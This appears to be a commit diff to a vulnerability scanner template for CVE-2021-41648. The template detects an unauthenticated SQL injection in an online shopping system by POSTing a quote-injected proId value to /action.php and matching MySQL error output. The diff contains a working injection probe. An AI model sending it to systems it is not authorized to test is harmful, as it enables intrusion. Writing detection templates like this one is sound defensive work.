Update CVE-2021-41648.yaml

cves/2021/CVE-2021-41648.yaml

@@ -6,25 +6,27 @@ info:
   severity: high
   description: An un-authenticated SQL Injection exists in PuneethReddyHC online-shopping-system-advanced through the /action.php prId parameter. Using a post request does not sanitize the user input.
   reference: https://github.com/MobiusBinary/CVE-2021-41648
-  tags: sqli,cve,cve2021
+  tags: cve,cve2021,sqli
 
 requests:
   - method: POST
     path:
       - "{{BaseURL}}/action.php"
-    body: |
-      proId=1'&addToCart=1
+
+    body: "proId=1'&addToCart=1"
+
     matchers-condition: and
     matchers:
 
       - type: word
         words:
-          - "Content-Type: text/html"
+          - "text/html"
         part: header
 
       - type: word
         words:
           - "Warning: mysqli_num_rows() expects parameter 1 to be"
+          - "xdebug-error xe-warning"
         part: body
         condition: and